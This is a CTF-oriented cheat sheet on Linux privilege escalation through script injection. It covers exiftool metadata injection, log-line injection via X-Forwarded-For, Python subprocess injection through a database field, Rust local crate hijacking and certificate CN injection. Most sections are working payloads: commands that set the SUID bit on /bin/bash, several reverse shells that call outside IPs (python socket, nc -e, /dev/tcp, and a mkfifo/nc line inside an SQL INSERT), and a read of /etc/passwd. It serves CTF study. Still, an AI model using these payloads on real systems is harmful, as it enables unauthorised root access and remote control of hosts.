> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-14/linux/capabilities/privilege-escalation-linux-script-injection.md).

# Script Injection

## Bash Script Quoted Expression Injection (Exiftool)

The vulnerability occurs when a Bash script uses `[[ "$untrusted_variable" -eq "..." ]]` and `$untrusted_variable` is derived from user-controlled input like file metadata. The `[[ ... -eq ... ]]` construct can misinterpret `x[$(COMMAND)]` style input as an array access, but critically, will execute the command substitution `$(COMMAND)` *before* attempting the comparison or failing. This is because the arithmetic evaluation context within `[[ ... -eq ... ]]` evaluates expressions like `a[$(id)]` by first executing the command substitution `$(id)` to get the array index. The command substitution is executed regardless of whether the array access syntax is valid or not.

To exploit this, craft a file and inject a command substitution payload into a metadata field parsed by the vulnerable script (e.g., Producer, Creator, Author).

```bash
touch exploit.jpg
exiftool -Producer='x[$(chmod${IFS}+s${IFS}/bin/bash)]' exploit.jpg
```

This payload, when the `Producer` field is processed within the vulnerable `[[ ... -eq ... ]]` comparison (e.g., `[[ "$meta_producer" -eq "dompdf" ]]`), forces the execution of `chmod +s /bin/bash`. Alternatively, the payload might be structured as `x[$(/bin/bash -c "chmod +s /bin/bash")]`. The `${IFS}` bypasses potential issues with spaces.

Wait for the vulnerable script (often a cronjob) running with higher privileges to process the crafted file. Cron jobs are frequently used for automated tasks and can run with elevated privileges, making them a common vector for privilege escalation if they process untrusted input insecurely. Common locations to check for cron jobs include `/etc/cron*` and `/var/spool/cron/crontabs`. Once executed by a privileged process, `/bin/bash` will have the SUID bit set.

```bash
bash -p
```

This executes `/bin/bash` with effective permissions equal to the file owner (root), granting a root shell.

***

## Command Injection via Log File Processing

A root script processes a log file where user-controlled data, such as the `X-Forwarded-For` header, is written. If the script executes lines from this log using a command like `sh -c "echo $log_line >> /some/file"`, injecting a payload like `;[command]` into the log line allows for command execution. The semicolon terminates the preceding `echo` command within the `sh -c` context, causing the injected command to run with the script's privileges (often root if it's a cron job). It is common to process logs using shell scripts or other tools that might be vulnerable to injection attacks. If the script uses a command like `eval` or `sh -c` on a log line, an attacker can inject commands.

Consider a simple Python script that reads a log file line by line and executes a system command using the line content:

```python
#!/usr/bin/python
import sys
import os
if len(sys.argv) == 1:
    print "Usage: python log_processor.py <log_file>"
    exit(0)
log_file = sys.argv[1]
with open(log_file) as f:
    for line in f:
        os.system("echo %s >> /tmp/output.txt" % line.strip())
```

The `os.system()` function in python executes the command passed to it as a string. In this case, the command is `echo %s >> /tmp/output.txt` where `%s` is replaced with the line from the log file. If the log file contains `127.0.0.1\ncat /etc/passwd`, the command becomes `echo 127.0.0.1\ncat /etc/passwd >> /tmp/output.txt`. The newline character ( or `%0A` in URL encoding) will terminate the `echo` command and allow the injected command (`cat /etc/passwd`) to be executed as a separate command.

To inject a simple command via the `X-Forwarded-For` header into a log file processed by such a script using a newline character:

```bash
curl "http://localhost:8080/" -H "X-Forwarded-For: 127.0.0.1%0Acat /etc/passwd"
```

This will inject a newline character (`%0A`) followed by the command `cat /etc/passwd` into the log file. If the log processing script executes lines using `sh -c` or `os.system`, this could lead to command execution.

Another example using newline injection to execute a simple command like `ls -la /tmp`:

```bash
curl -X GET -H "X-Forwarded-For: 127.0.0.1%0a/bin/ls%20-la%20/tmp%0a" http://target.local
```

To inject a reverse shell via the `X-Forwarded-For` header into a log file processed by a root script using a newline character:

Using a Python reverse shell payload:

```bash
curl http://127.0.0.1:8080/index.php -X POST -d 'username=0x&password=test' -H 'X-Forwarded-For: 127.0.0.1%0Apython -c '"'"'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.17.114.124",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"'"''
```

Using a Netcat reverse shell payload:

```bash
curl -X GET -H "X-Forwarded-For: 127.0.0.1%0a/bin/nc -e /bin/sh 10.10.10.10 9001%0a" http://target.local
```

A similar technique uses a semicolon to terminate the preceding command. For instance, injecting a payload like `;[command]` into the log line allows for command execution when the line is processed by `sh -c`:

```bash
curl http://127.0.0.1:8080/index.php -X POST -d 'username=0x&password=test' -H 'X-Forwarded-For: ;bash -c "/bin/bash -i >& /dev/tcp/10.17.114.124/4444 0>&1"'
```

The semicolon terminates the preceding `echo` command within the `sh -c` context, causing the injected command to run with the script's privileges.

***

## Python Subprocess Command Injection

Identify a Python script that reads user-controlled data (e.g., from a database) and passes it into `subprocess.check_output(..., shell=True)`. Find credentials to modify the data source (like database credentials in user history).

The `subprocess.check_output` function is used to run a command and capture its output. When the `shell=True` argument is used, the command string is processed by the shell, which can be useful for executing shell commands like `ls`, `grep`, or more complex command pipelines. However, using `shell=True` with untrusted input can lead to shell injection vulnerabilities. When `shell=True`, the command string is interpreted by the shell, allowing attackers to inject arbitrary shell commands using metacharacters.

Inject shell commands into the user-controlled input field within the data source. Use shell metacharacters like `$()` or to execute commands. For example, if a script uses `subprocess.check_output(f"echo {user_input}", shell=True)`, injecting `$(whoami)` into `user_input` would execute `whoami`.

Insert your payload into the vulnerable database field. For a reverse shell:

```sql
INSERT INTO dreams (dreamer, dream) VALUES ('evil', '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.2.12 4444 >/tmp/f)');
```

Ensure your listener is active. Execute the vulnerable script (often via sudo NOPASSWD) to trigger the injection and command execution. The `NOPASSWD` tag in the `/etc/sudoers` file allows specific users or groups to run certain commands as root without being prompted for a password. A typical entry in `/etc/sudoers` might look like this:

```bash
user ALL=(ALL) NOPASSWD: /path/to/vulnerable_script.py
```

This configuration permits the specified `user` to execute `/path/to/vulnerable_script.py` with root privileges without requiring a password, facilitating the exploitation of the command injection vulnerability.

***

## Rust Local Crate Dependency Hijacking

Identify a privileged process running a Rust project with `cargo run`. Examine its `Cargo.toml` for local path dependencies specified using `path = "..."`. This syntax is used to reference dependencies located on the local filesystem rather than crates.io, for example:

```toml
[dependencies]
my_local_dependency = { path = "/home/me/projects/my_local_dependency" }
```

Check permissions on the directory pointed to by the local path (e.g., `/opt/crates/logger/`). This attack is only possible if write permissions exist for the source code of the dependency.

If the dependency's source directory is writable, inject malicious code into one of its source files (e.g., `src/lib.rs`). Add the necessary `use` statement and command execution code within a function that the main application calls (e.g., `log()`).

```rust
use std::process::Command;

// Inside a function that gets called, like log()
// ... other function code ...
Command::new("bash").arg("-c").arg("<reverse_shell>").output().expect("err");
// ... other function code ...
```

Wait for the privileged process to execute `cargo run` again, which will compile and run the modified dependency code under its privileges.

***

## SUID Binary Creation via Script Argument Injection (Certificate CN)

The Common Name (CN) field is a required X.509 certificate field that is used to identify the server. Typically, the Common Name (CN) is the domain name of the server for which the certificate is being issued. The maximum length of a Common Name (CN) in an X.509 certificate is 64 bytes.

Create a self-signed certificate where the Common Name (CN) is crafted to inject a command into a root-executed script that processes the certificate.

Use `openssl req` to generate a certificate and key. When prompted for the Common Name, enter the command substitution payload:

```bash
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out broscience.crt -days 10
# When prompted for 'Common Name (e.g. server FQDN or YOUR name) []:', enter:
$(chmod +s /bin/bash)
```

If a root script processes this certificate and uses the CN in a command executed via `/bin/bash -c` (e.g., `mv /tmp/temp.crt /path/to/certs/$(chmod +s /bin/bash).crt`), the command substitution `$(chmod +s /bin/bash)` will execute as root. This sets the SUID bit on `/bin/bash`.

Once the script has run, execute the SUID binary to get a root shell:

```bash
/bin/bash -p
```
